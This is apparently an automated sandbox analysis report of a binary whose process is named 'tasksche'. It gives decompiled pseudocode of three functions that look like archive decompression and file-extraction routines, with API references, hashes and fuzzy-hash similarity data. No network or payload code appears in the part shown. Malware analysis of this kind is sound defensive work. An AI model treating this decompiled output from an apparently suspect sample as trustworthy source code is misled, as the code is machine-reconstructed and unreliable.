				void* _t346;
				void* _t347;
				void* _t349;

				_t319 = __edx;
				E0041A4DC(E0042981F, _t343);
				_t346 = _t345 - 0x24;
				_t332 = __ecx;
				_t263 = __ecx + 0xe694;
				_t176 = 0x8000;
				 *((intOrPtr*)(_t343 - 0x10)) = _t263;
				 *((intOrPtr*)(_t263 + 4)) = 0;
				 *_t263 = 0;
				if( *(_t343 + 0x10) <= 0x8000) {
					_t176 =  *(_t343 + 0x10);
				}
				E0041C290(_t263, 0, _t332,  *((intOrPtr*)(_t332 + 0xe6a0)),  *(_t343 + 0xc), _t176);
				_t347 = _t346 + 0xc;
				 *((intOrPtr*)(_t343 - 0x14)) = _t332 + 0xe65c;
				E0040AB32(_t332 + 0xe65c);
				_t352 =  *(_t343 + 8) & 0x00000080;
				if(( *(_t343 + 8) & 0x00000080) == 0) {
					_t179 =  *(_t332 + 0xe6d4);
					 *(_t343 + 0xc) = _t179;
					_t264 = _t179;
				} else {
					_t264 = E0040AB58(_t352, _t263);
					 *(_t343 + 0xc) = _t264;
					if(_t264 != 0) {
						_t264 = _t264 - 1;
						 *(_t343 + 0xc) = _t264;
					} else {
						E004152CD(_t332, 0);
					}
				}
				_t180 =  *(_t332 + 0xe6a8);
				if(_t264 > _t180 || _t264 >  *((intOrPtr*)(_t332 + 0xe6c8))) {
					L16:
					_t181 = 0;
					goto L17;
				} else {
					_push(0x70);
					 *(_t332 + 0xe6d4) = _t264;
					 *((char*)(_t343 + 0x13)) = _t264 == _t180;
					_t328 = E0041A89A(_t264, _t319, 0, _t264 - _t180);
					if(_t328 == 0) {
						_t328 = 0;
						__eflags = 0;
					} else {
						_t21 =  &(_t328[5]); // 0x14
						E004156C4(_t21);
					}
					if( *((char*)(_t343 + 0x13)) == 0) {
						_t184 =  *( *((intOrPtr*)(_t332 + 0xe6a4)) + _t264 * 4);
						_t328[4] = _t264;
						_t266 = _t184 + 8;
						 *_t266 =  *_t266 + 1;
						__eflags =  *_t266;
						 *(_t343 - 0x1c) = _t184;
						goto L23;
					} else {
						if(_t264 <= 0x2000) {
							E004129F9(_t332 + 0xe6a4, 1);
							_push(0x70);
							_t274 = E0041A89A(_t264, _t319, _t328, __eflags);
							__eflags = _t274;
							if(_t274 == 0) {
								_t274 = 0;
								__eflags = 0;
							} else {
								_t25 = _t274 + 0x14; // 0x14
								E004156C4(_t25);
							}
							 *( *((intOrPtr*)(_t332 + 0xe6a4)) +  *(_t332 + 0xe6a8) * 4 - 4) = _t274;
							 *(_t343 - 0x1c) = _t274;
							_t328[4] =  *(_t332 + 0xe6a8) - 1;
							E004148ED(_t332 + 0xe6c4, 0);
							_t266 = _t274 + 8;
							 *_t266 =  *_t266 & 0x00000000;
							L23:
							_t185 = 0;
							 *(_t343 - 0x18) = 0;
							 *(_t343 - 0x20) = 0;
							__eflags =  *(_t332 + 0xe6b8);
							if( *(_t332 + 0xe6b8) <= 0) {
								L30:
								__eflags =  *(_t332 + 0xe6b8) - 0x2000;
								if( *(_t332 + 0xe6b8) > 0x2000) {
									goto L16;
								}
								E004129F9(_t332 + 0xe6b4, 1);
								_t321 = 1;
								__eflags = 1;
								L32:
								 *( *((intOrPtr*)(_t332 + 0xe6b4)) + ( *(_t332 + 0xe6b8) - _t321) * 4) = _t328;
								_t328[2] =  *_t266;
								_t190 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
								__eflags =  *(_t343 + 8) & 0x00000040;
								_t267 = _t190;
								if(( *(_t343 + 8) & 0x00000040) != 0) {
									_t267 = _t267 + 0x102;
									__eflags = _t267;
								}
								__eflags =  *(_t343 + 8) & 0x00000020;
								 *_t328 =  *((intOrPtr*)(_t332 + 0x70)) + _t267 &  *(_t332 + 0xe6dc);
								if(__eflags == 0) {
									_t194 =  *(_t343 + 0xc);
									__eflags = _t194 -  *((intOrPtr*)(_t332 + 0xe6c8));
									if(_t194 >=  *((intOrPtr*)(_t332 + 0xe6c8))) {
										_t195 = 0;
										__eflags = 0;
									} else {
										_t195 =  *( *((intOrPtr*)(_t332 + 0xe6c4)) + _t194 * 4);
									}
									_t328[1] = _t195;
								} else {
									_t248 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
									_t328[1] = _t248;
									 *( *((intOrPtr*)(_t332 + 0xe6c4)) +  *(_t343 + 0xc) * 4) = _t248;
								}
								_t196 =  *((intOrPtr*)(_t332 + 0x74));
								_t281 =  *((intOrPtr*)(_t332 + 0x70));
								__eflags = _t196 - _t281;
								if(_t196 == _t281) {
									L43:
									_t197 = 0;
									__eflags = 0;
									goto L44;
								} else {
									__eflags = (_t196 - _t281 &  *(_t332 + 0xe6dc)) - _t267;
									if((_t196 - _t281 &  *(_t332 + 0xe6dc)) > _t267) {
										goto L43;
									}
									_t197 = 1;
									L44:
									_t91 =  &(_t328[0x13]); // 0x4c
									_t268 = _t91;
									_t328[3] = _t197;
									E0041A820(_t328, _t268, 0, 0x1c);
									_t328[0x17] = _t328[1];
									_t349 = _t347 + 0xc;
									__eflags =  *(_t343 + 8) & 0x00000010;
									_t328[0x16] = 0x3c000;
									_t328[0x18] = _t328[2];
									if(( *(_t343 + 8) & 0x00000010) == 0) {
										L49:
										__eflags =  *((char*)(_t343 + 0x13));
										if(__eflags == 0) {
											_t334 =  *(_t343 - 0x1c);
											L60:
											_t328[9] =  *(_t334 + 0x14);
											_t328[0xa] =  *(_t334 + 0x28);
											_t203 =  *(_t334 + 0x40);
											 *(_t343 + 0x10) = _t203;
											__eflags = _t203 - 1 - 0x1ffe;
											if(_t203 - 1 <= 0x1ffe) {
												_t136 =  &(_t328[0xf]); // 0x3c
												E00401106(_t136, _t203);
												E0041C290(_t136, _t328, _t334,  *_t136,  *((intOrPtr*)(_t334 + 0x3c)),  *(_t343 + 0x10));
												_t349 = _t349 + 0xc;
											}
											__eflags = _t328[0xc] - 0x40;
											if(_t328[0xc] < 0x40) {
												_t140 =  &(_t328[0xb]); // 0x2c
												E00401B67(_t140);
												E00401106(_t140, 0x40);
											}
											_t141 =  &(_t328[0xb]); // 0x2c
											_t269 = _t141;
											_t335 =  *_t269;
											_t142 =  &(_t328[0x13]); // 0x4c
											 *(_t343 + 0xc) = _t335;
											 *(_t343 + 0x10) = _t142;
											 *(_t343 - 0x20) = 7;
											do {
												E0040AB4B( *(_t343 + 0xc),  *( *(_t343 + 0x10)));
												 *(_t343 + 0x10) =  *(_t343 + 0x10) + 4;
												 *(_t343 + 0xc) =  *(_t343 + 0xc) + 4;
												_t153 = _t343 - 0x20;
												 *_t153 =  *(_t343 - 0x20) - 1;
												__eflags =  *_t153;
											} while ( *_t153 != 0);
											_t157 = _t335 + 0x1c; // 0x48
											E0040AB4B(_t157, _t328[1]);
											_t159 = _t335 + 0x20; // 0x4c
											E0040AB4B(_t159, 0);
											_t162 = _t335 + 0x2c; // 0x58
											E0040AB4B(_t162, _t328[2]);
											E0041A820(_t328, _t335 + 0x30, 0, 0x10);
											__eflags =  *(_t343 + 8) & 0x00000008;
											if(( *(_t343 + 8) & 0x00000008) == 0) {
												L74:
												_t181 = 1;
												L17:
												 *[fs:0x0] =  *((intOrPtr*)(_t343 - 0xc));
												return _t181;
											}
											_t214 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if(__eflags >= 0) {
												goto L16;
											}
											_t215 = E0040AB58(__eflags, _t214);
											 *(_t343 + 8) = _t215;
											__eflags = _t215 - 0x1fc0;
											if(_t215 > 0x1fc0) {
												goto L16;
											}
											_t329 = _t328[0xc];
											_t169 = _t215 + 0x40; // 0x40
											__eflags = _t329 - _t169;
											if(_t329 < _t169) {
												__eflags = _t215 - _t329 + 0x40;
												E00401106(_t269, _t215 - _t329 + 0x40);
											}
											_t330 = 0;
											_t338 =  *_t269 + 0x40;
											__eflags =  *(_t343 + 8);
											if( *(_t343 + 8) <= 0) {
												goto L74;
											} else {
												while(1) {
													_t270 =  *((intOrPtr*)(_t343 - 0x10));
													__eflags =  *_t270 + 3 - 0x8000;
													if( *_t270 + 3 >= 0x8000) {
														goto L16;
													}
													 *((char*)(_t330 + _t338)) = E004097D1(_t270) >> 8;
													E004097BA(_t270, 8);
													_t330 = _t330 + 1;
													__eflags = _t330 -  *(_t343 + 8);
													if(_t330 <  *(_t343 + 8)) {
														continue;
													}
													goto L74;
												}
												goto L16;
											}
										}
										_t272 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										 *(_t343 + 0x10) = _t272;
										__eflags = _t272 - 0x10000;
										if(_t272 >= 0x10000) {
											goto L16;
										}
										_t340 = 0;
										__eflags = _t272;
										if(_t272 == 0) {
											goto L16;
										}
										E00406760(_t343 - 0x30, _t272);
										__eflags = _t272;
										_t273 =  *(_t343 - 0x30);
										 *(_t343 - 4) = 0;
										if(_t272 <= 0) {
											L55:
											_t334 =  *(_t343 - 0x1c);
											E0040AD8E( *((intOrPtr*)(_t343 - 0x14)), _t273,  *(_t343 + 0x10), _t334 + 0x14);
											 *(_t343 - 4) =  *(_t343 - 4) | 0xffffffff;
											__eflags = _t273;
											if(__eflags != 0) {
												_push(_t273);
												E0041A506(_t273, _t328, _t334, __eflags);
											}
											goto L60;
										} else {
											goto L53;
										}
										while(1) {
											L53:
											_t299 =  *((intOrPtr*)(_t343 - 0x10));
											__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 - 0x8000;
											if( *((intOrPtr*)( *((intOrPtr*)(_t343 - 0x10)))) + 3 >= 0x8000) {
												break;
											}
											 *((char*)(_t273 + _t340)) = E004097D1(_t299) >> 8;
											E004097BA( *((intOrPtr*)(_t343 - 0x10)), 8);
											_t340 = _t340 + 1;
											__eflags = _t340 -  *(_t343 + 0x10);
											if(_t340 <  *(_t343 + 0x10)) {
												continue;
											}
											goto L55;
										}
										__eflags = _t273;
										if(__eflags != 0) {
											_push(_t273);
											E0041A506(_t273, _t328, _t340, __eflags);
										}
										goto L16;
									}
									_t342 = E004097D1( *((intOrPtr*)(_t343 - 0x10))) >> 9;
									E004097BA( *((intOrPtr*)(_t343 - 0x10)), 7);
									_t103 = _t343 + 0xc;
									 *_t103 =  *(_t343 + 0xc) & 0x00000000;
									__eflags =  *_t103;
									do {
										__eflags = _t342 & 1 <<  *(_t343 + 0xc);
										if(__eflags != 0) {
											 *_t268 = E0040AB58(__eflags,  *((intOrPtr*)(_t343 - 0x10)));
										}
										 *(_t343 + 0xc) =  *(_t343 + 0xc) + 1;
										_t268 =  &(_t268[1]);
										__eflags =  *(_t343 + 0xc) - 7;
									} while ( *(_t343 + 0xc) < 7);
									goto L49;
								}
							} else {
								goto L24;
							}
							do {
								L24:
								 *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + (_t185 -  *(_t343 - 0x18)) * 4)) =  *((intOrPtr*)( *((intOrPtr*)(_t332 + 0xe6b4)) + _t185 * 4));
								_t250 =  *(_t343 - 0x20);
								_t310 =  *((intOrPtr*)(_t332 + 0xe6b4)) + _t250 * 4;
								__eflags =  *_t310;
								if( *_t310 == 0) {
									_t55 = _t343 - 0x18;
									 *_t55 =  *(_t343 - 0x18) + 1;
									__eflags =  *_t55;
								}
								_t321 =  *(_t343 - 0x18);
								__eflags = _t321;
								if(_t321 > 0) {
									 *_t310 =  *_t310 & 0x00000000;
									__eflags =  *_t310;
								}
								_t185 = _t250 + 1;
								 *(_t343 - 0x20) = _t185;
								__eflags = _t185 -  *(_t332 + 0xe6b8);
							} while (_t185 <  *(_t332 + 0xe6b8));
							__eflags = _t321;
							if(__eflags != 0) {
								goto L32;
							}
							goto L30;
						}
						if(_t328 != 0) {
							E00414F64(_t264, _t328, _t328, _t343, 1);
						}
						goto L16;
					}
				}
			}

0x00416790
0x00416795
0x0041679a
0x0041679f
0x004167a1
0x004167aa
0x004167b2
0x004167b5
0x004167b8
0x004167ba
0x004167bc
0x004167bc
0x004167c9
0x004167d4
0x004167d7
0x004167da
0x004167df
0x004167e3
0x00416804
0x0041680a
0x0041680d
0x004167e5
0x004167eb
0x004167ed
0x004167f2
0x004167fe
0x004167ff
0x004167f4
0x004167f7
0x004167f7
0x004167f2
0x0041680f
0x00416817
0x00416866
0x00416866
0x00000000
0x00416821
0x00416823
0x00416825
0x0041682b
0x00416834
0x00416839
0x00416845
0x00416845
0x0041683b
0x0041683b
0x0041683e
0x0041683e
0x0041684b
0x004168d8
0x004168db
0x004168de
0x004168e1
0x004168e1
0x004168e3
0x00000000
0x00416851
0x00416857
0x00416881
0x00416886
0x0041688d
0x00416890
0x00416892
0x0041689e
0x0041689e
0x00416894
0x00416894
0x00416897
0x00416897
0x004168ac
0x004168bf
0x004168c2
0x004168c5
0x004168ca
0x004168cd
0x004168e6
0x004168e6
0x004168e8
0x004168eb
0x004168ee
0x004168f4
0x0041693b
0x0041693b
0x00416945
0x00000000
0x00000000
0x00416953
0x0041695a
0x0041695a
0x0041695b
0x0041696c
0x00416971
0x00416974
0x00416979
0x0041697d
0x0041697f
0x00416981
0x00416981
0x00416981
0x00416992
0x00416996
0x00416998
0x004169b3
0x004169b6
0x004169bc
0x004169c9
0x004169c9
0x004169be
0x004169c4
0x004169c4
0x004169cb
0x0041699a
0x0041699d
0x004169a5
0x004169ae
0x004169ae
0x004169ce
0x004169d1
0x004169d4
0x004169d6
0x004169e9
0x004169e9
0x004169e9
0x00000000
0x004169d8
0x004169e0
0x004169e2
0x00000000
0x00000000
0x004169e6
0x004169eb
0x004169ed
0x004169ed
0x004169f3
0x004169f6
0x004169fe
0x00416a04
0x00416a07
0x00416a0b
0x00416a12
0x00416a15
0x00416a54
0x00416a54
0x00416a58
0x00416af6
0x00416af9
0x00416afc
0x00416b02
0x00416b05
0x00416b0b
0x00416b0e
0x00416b14
0x00416b16
0x00416b1c
0x00416b29
0x00416b2e
0x00416b2e
0x00416b31
0x00416b35
0x00416b37
0x00416b3c
0x00416b45
0x00416b45
0x00416b4a
0x00416b4a
0x00416b4d
0x00416b4f
0x00416b52
0x00416b55
0x00416b58
0x00416b5f
0x00416b6a
0x00416b6f
0x00416b73
0x00416b77
0x00416b77
0x00416b77
0x00416b77
0x00416b82
0x00416b86
0x00416b90
0x00416b94
0x00416b9f
0x00416ba3
0x00416bb0
0x00416bb8
0x00416bbc
0x00416c38
0x00416c38
0x00416868
0x0041686e
0x00416876
0x00416876
0x00416bbe
0x00416bc6
0x00416bcc
0x00000000
0x00000000
0x00416bd3
0x00416bd8
0x00416bdb
0x00416be0
0x00000000
0x00000000
0x00416be6
0x00416be9
0x00416bec
0x00416bee
0x00416bf2
0x00416bf8
0x00416bf8
0x00416bff
0x00416c01
0x00416c04
0x00416c07
0x00000000
0x00416c09
0x00416c09
0x00416c09
0x00416c11
0x00416c16
0x00000000
0x00000000
0x00416c2a
0x00416c2d
0x00416c32
0x00416c33
0x00416c36
0x00000000
0x00000000
0x00000000
0x00416c36
0x00000000
0x00416c09
0x00416c07
0x00416a66
0x00416a68
0x00416a6b
0x00416a71
0x00000000
0x00000000
0x00416a77
0x00416a79
0x00416a7b
0x00000000
0x00000000
0x00416a85
0x00416a8a
0x00416a8c
0x00416a8f
0x00416a92
0x00416abe
0x00416abe
0x00416acc
0x00416ad1
0x00416ad5
0x00416ad7
0x00416ad9
0x00416ada
0x00416adf
0x00000000
0x00000000
0x00000000
0x00000000
0x00416a94
0x00416a94
0x00416a94
0x00416a9c
0x00416aa1
0x00000000
0x00000000
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ab9
0x00416abc
0x00000000
0x00000000
0x00000000
0x00416abc
0x00416ae2
0x00416ae4
0x00416aea
0x00416aeb
0x00416af0
0x00000000
0x00416ae4
0x00416a26
0x00416a29
0x00416a2e
0x00416a2e
0x00416a2e
0x00416a32
0x00416a3a
0x00416a3c
0x00416a46
0x00416a46
0x00416a48
0x00416a4b
0x00416a4e
0x00416a4e
0x00000000
0x00416a32
0x00000000
0x00000000
0x00000000
0x004168f6
0x004168f6
0x0041690a
0x00416913
0x00416916
0x00416919
0x0041691c
0x0041691e
0x0041691e
0x0041691e
0x0041691e
0x00416921
0x00416924
0x00416926
0x00416928
0x00416928
0x00416928
0x0041692b
0x0041692c
0x0041692f
0x0041692f
0x00416937
0x00416939
0x00000000
0x00000000
0x00000000
0x00416939
0x0041685b
0x00416861
0x00416861
0x00000000
0x0041685b
0x0041684b

APIs

__EH_prolog.LIBCMT ref: 00416795

Part of subcall function 004129F9: _realloc.LIBCMT ref: 00412A51

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

_memset.LIBCMT ref: 004169F6
_memset.LIBCMT ref: 00416BB0

Strings

, xrefs: 00416992

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc_realloc
String ID:
API String ID: 1826288403-3916222277
Opcode ID: 82ea9af22907d67a5c7e2fb4fdc52199cf69b637e8f6ca9705f839ba700d1cf7
Instruction ID: b2eea235d821e150737843ebb12b5e68f22e0a3d12c725fcd3f3b3fef6346f43
Opcode Fuzzy Hash: 82ea9af22907d67a5c7e2fb4fdc52199cf69b637e8f6ca9705f839ba700d1cf7
Instruction Fuzzy Hash: 92E1BF71A007499FCB10EF65C980BEEB7B1FF14304F11482EE956A7281DB39E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00418B3D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00418B3D(intOrPtr __edx, intOrPtr* _a4, char _a7, signed int _a8, char _a11, short _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v4120;
				char _v8216;
				void* __ebx;
				void* __ebp;
				intOrPtr _t93;
				intOrPtr _t107;
				signed int _t116;
				signed int _t123;
				intOrPtr _t137;
				signed int _t150;
				intOrPtr _t151;
				intOrPtr* _t157;
				intOrPtr* _t166;
				intOrPtr _t178;
				intOrPtr _t180;
				signed int _t183;
				intOrPtr _t184;
				intOrPtr* _t187;
				void* _t188;

				_t178 = __edx;
				E0041AAF0(0x2014);
				_t187 = _a4;
				_v12 =  *((intOrPtr*)(_t187 + 0x6524));
				_t93 =  *((intOrPtr*)(_t187 + 0x6544));
				_v16 = _t93;
				if(_t93 != 3) {
					_t151 = _t187 + 0x65e8;
					_v8 = _t151;
					_t180 = _t151;
					__eflags = _t93 - 2;
					if(__eflags != 0) {
						L4:
						_a7 = 0;
						L5:
						_t150 = _a8;
						if(_t150 == 0 || _a7 == 0) {
							L12:
							_v24 =  *((intOrPtr*)( *_t187 + 0x10))();
							_v20 = _t178;
							if(_t150 != 0) {
								 *((intOrPtr*)(_t150 + 0x21f8)) =  *((intOrPtr*)(_t150 + 0x21f8)) + E00408E03(_t187, _t178);
								asm("adc [edi+0x4], edx");
							}
							E00408A32(_t187);
							E0040A8A1( &_v4120, 0x800, (E0041A7F7( &_v4120, _t187 + 0x1e) & 0xffffff00 |  *((char*)(_t187 + 0xb05a)) == 0x00000000) & 0x000000ff);
							asm("sbb edi, edi");
							_a11 = 0;
							_t183 =  ~( *(_v12 + 0x5195) & 0x000000ff) & 0x00000004;
							while(1) {
								_push(_t183);
								_push( &_v4120);
								_t157 = _t187;
								if( *((intOrPtr*)( *_t187 + 4))() != 0) {
									break;
								}
								__eflags = _t150;
								if(_t150 != 0) {
									 *(_t150 + 0x2200) =  *(_t150 + 0x2200) & 0x00000000;
									_t38 = _t150 + 0x2204;
									 *_t38 =  *(_t150 + 0x2204) & 0x00000000;
									__eflags =  *_t38;
								}
								__eflags = _a11;
								if(_a11 != 0) {
									L19:
									_t107 = _v12;
									__eflags =  *((char*)(_t107 + 0x517c));
									if( *((char*)(_t107 + 0x517c)) != 0) {
										L25:
										E00406376(0x44,  &_v4120);
										 *((intOrPtr*)( *_t187 + 4))(_t187 + 0x1e, _t183);
										 *((intOrPtr*)( *_t187 + 0xc))(_v24, _v20, 0);
										return 0;
									}
									_t116 = L00411987(_t157,  &_v4120, 0x800);
									__eflags = _t116;
									if(_t116 == 0) {
										goto L25;
									}
									continue;
								} else {
									E0041A7F7( &_v8216, _t187 + 0x1e);
									E0040A8A1( &_v8216, 0x800, 1);
									_t157 = _t187;
									_a11 = 1;
									_t123 =  *((intOrPtr*)( *_t187 + 4))( &_v8216, _t183);
									__eflags = _t123;
									if(_t123 != 0) {
										E0041A7F7( &_v4120,  &_v8216);
										break;
									}
									goto L19;
								}
							}
							E004116C9((_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, (_t187 + 0x0000001e & 0xffffff00 | _a16 != 0x00000054) & 0x000000ff, _t187 + 0x1e);
							E004019E7(_t187, _t178, _t188, _a16 - 0x54, 1);
							_t202 = _a7;
							_t166 = _t187;
							if(_a7 == 0) {
								E0040369F(_t178, _t188);
							} else {
								E0040370E(_t166, _t178, _t202, _v16);
							}
							if( *((intOrPtr*)(_t187 + 0x6544)) == 2) {
								E00401A5C(_t187);
								_t178 =  *((intOrPtr*)(_t187 + 0xb04c));
								asm("sbb edx, [esi+0x7634]");
								 *((intOrPtr*)( *_t187 + 0xc))( *((intOrPtr*)(_t187 + 0xb048)) -  *((intOrPtr*)(_t187 + 0x7630)), _t178, 0);
							}
							if(_t150 != 0) {
								_t184 = _v8;
								if(_v16 != 5) {
									 *((char*)(_t150 + 0x21c7)) =  *((intOrPtr*)(_t184 + 0x1089));
									 *((intOrPtr*)(_t150 + 0x20)) =  *((intOrPtr*)(_t184 + 0x1048));
									 *((intOrPtr*)(_t150 + 0x24)) =  *((intOrPtr*)(_t184 + 0x104c));
								} else {
									 *((char*)(_t150 + 0x21c7)) = 0;
								}
								_t137 = E00408E03(_t187, _t178);
								 *(_t150 + 0x21e8) =  *(_t150 + 0x21e8) & 0x00000000;
								 *(_t150 + 0x21ec) =  *(_t150 + 0x21ec) & 0x00000000;
								 *((intOrPtr*)(_t150 + 0x21d0)) = _t137;
								 *((intOrPtr*)(_t150 + 0x21d4)) = _t178;
								E00409885(_t150 + 0x2208,  *((intOrPtr*)(_t184 + 0x1060)),  *((intOrPtr*)(_v12 + 0x7298)));
							}
							return 1;
						} else {
							if( *((intOrPtr*)(_t187 + 0xb050)) == 3) {
								L10:
								asm("sbb ecx, ecx");
								if(E00409AE9(_t150, _t150 + 0x2208, _t178, _t195, _t180 + 0x1060,  ~( *(_t180 + 0x10ba) & 0x000000ff) & _t180 + 0x000010bb) == 0) {
									E0040639F(5, _t187 + 0x1e, _t180 + 0x20);
								}
								goto L12;
							}
							if( *((char*)(_t180 + 0x19)) < 0x14) {
								goto L12;
							}
							_t195 =  *((intOrPtr*)(_t180 + 0x1064)) - 0xffffffff;
							if( *((intOrPtr*)(_t180 + 0x1064)) == 0xffffffff) {
								goto L12;
							}
							goto L10;
						}
					}
					L3:
					_a7 = 1;
					if( *((char*)(_t180 + 0x1089)) != 0) {
						goto L5;
					}
					goto L4;
				}
				_t180 = _t187 + 0x8928;
				_v8 = _t180;
				goto L3;
			}

0x00418b3d
0x00418b45
0x00418b4c
0x00418b55
0x00418b58
0x00418b5f
0x00418b65
0x00418b72
0x00418b78
0x00418b7b
0x00418b7d
0x00418b80
0x00418b8f
0x00418b8f
0x00418b93
0x00418b93
0x00418b98
0x00418bf1
0x00418bf8
0x00418bfb
0x00418c00
0x00418c0f
0x00418c11
0x00418c11
0x00418c16
0x00418c47
0x00418c58
0x00418c5a
0x00418c5e
0x00418cd8
0x00418cda
0x00418ce1
0x00418ce2
0x00418ce9
0x00000000
0x00000000
0x00418c63
0x00418c65
0x00418c67
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c6e
0x00418c75
0x00418c79
0x00418cb7
0x00418cb7
0x00418cba
0x00418cc1
0x00418d36
0x00418d3f
0x00418d4d
0x00418d5c
0x00000000
0x00418d5f
0x00418ccf
0x00418cd4
0x00418cd6
0x00000000
0x00000000
0x00000000
0x00418c7b
0x00418c86
0x00418c9b
0x00418caa
0x00418cac
0x00418cb0
0x00418cb3
0x00418cb5
0x00418d2d
0x00000000
0x00418d33
0x00000000
0x00418cb5
0x00418c79
0x00418cff
0x00418d08
0x00418d0d
0x00418d11
0x00418d13
0x00418d66
0x00418d15
0x00418d18
0x00418d18
0x00418d72
0x00418d76
0x00418d87
0x00418d8d
0x00418d9b
0x00418d9b
0x00418da0
0x00418da6
0x00418da9
0x00418dba
0x00418dc6
0x00418dcf
0x00418dab
0x00418dab
0x00418dab
0x00418dd4
0x00418dd9
0x00418de0
0x00418de7
0x00418df0
0x00418e08
0x00418e08
0x00000000
0x00418ba0
0x00418ba7
0x00418bb8
0x00418bc1
0x00418be0
0x00418bec
0x00418bec
0x00000000
0x00418be0
0x00418bad
0x00000000
0x00000000
0x00418baf
0x00418bb6
0x00000000
0x00000000
0x00000000
0x00418bb6
0x00418b98
0x00418b82
0x00418b89
0x00418b8d
0x00000000
0x00000000
0x00000000
0x00418b8d
0x00418b67
0x00418b6d
0x00000000

APIs

_wcscpy.LIBCMT ref: 00418C26
_wcscpy.LIBCMT ref: 00418C86
_wcscpy.LIBCMT ref: 00418D2D

Strings

T, xrefs: 00418CEF

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy
String ID: T
API String ID: 3048848545-3187964512
Opcode ID: 245165a23ac7abdc14e548a2b696417a8a50b6e7fc2cb45602da35734ca4dbc6
Instruction ID: 08ee224434b4342d1c159c2c22343cdeaadf414e9d08c0d11a019e9d32988bbe
Opcode Fuzzy Hash: 245165a23ac7abdc14e548a2b696417a8a50b6e7fc2cb45602da35734ca4dbc6
Instruction Fuzzy Hash: 99910871600744AFDF24DF64C884BEAB7F8AF15304F0445AFE95997282CB78AAC4CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00406D02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127
timeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00406D02(void* __edx) {
				void* __ebx;
				void* __edi;
				void* _t46;
				signed int _t56;
				signed int _t59;
				void* _t63;
				signed int _t64;
				signed int _t70;
				void* _t96;
				intOrPtr* _t101;
				void* _t103;

				_t96 = __edx;
				E0041A4DC(E00429658, _t103);
				E0041AAF0(0x5094);
				_t101 =  *((intOrPtr*)(_t103 + 0xc));
				if( *_t101 == 0 ||  *((intOrPtr*)(_t101 + 2)) != 0) {
					_push(0x802);
					_t46 = _t103 - 0x307c;
				} else {
					E0041A7F7(_t103 - 0x307c, L".\\");
					_push(0x800);
					_t46 = _t103 - 0x3078;
				}
				_push(_t101);
				_push(_t46);
				E00410B9C();
				E004066DA(0, 0x802,  *((intOrPtr*)(_t103 + 8)), _t103 - 0x407c, 0x800);
				if( *((short*)(_t103 - 0x407c)) == 0x3a) {
					__eflags =  *(_t103 + 0x10);
					if(__eflags == 0) {
						E00410BC9(__eflags, _t103 - 0x307c, _t103 - 0x407c, 0x802);
						E004067E1(_t103 - 0x2078);
						_push(0);
						 *(_t103 + 0x13) = E004096BC(_t96, _t101, _t103 - 0x2078);
						_t56 =  *(_t103 - 0x1070);
						__eflags = _t56 & 0x00000001;
						if((_t56 & 0x00000001) != 0) {
							_t72 = _t56 & 0xfffffffe;
							__eflags = _t56 & 0xfffffffe;
							E0040908D(_t101, _t72);
						}
						E00408786(_t103 - 0x1030);
						 *(_t103 - 4) = 0;
						_t59 = E00408A0A(_t103 - 0x1030, __eflags, _t103 - 0x307c, 0x11);
						__eflags = _t59;
						if(_t59 != 0) {
							_push(_t103 - 0x1030);
							_push(0);
							_t70 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
							__eflags = _t70;
							if(_t70 != 0) {
								E00408A32(_t103 - 0x1030);
							}
						}
						E00408786(_t103 - 0x50a0);
						 *(_t103 - 4) = 1;
						__eflags =  *(_t103 + 0x13);
						if( *(_t103 + 0x13) != 0) {
							_push(5);
							_push(_t101);
							_t64 = E004087C3(_t103 - 0x50a0);
							__eflags = _t64;
							if(_t64 != 0) {
								SetFileTime( *(_t103 - 0x509c), _t103 - 0x1050, _t103 - 0x1048, _t103 - 0x1040);
							}
						}
						E0040908D(_t101,  *(_t103 - 0x1070));
						 *(_t103 - 4) = 0;
						E00408C7D(0, _t103 - 0x50a0);
						_t38 = _t103 - 4;
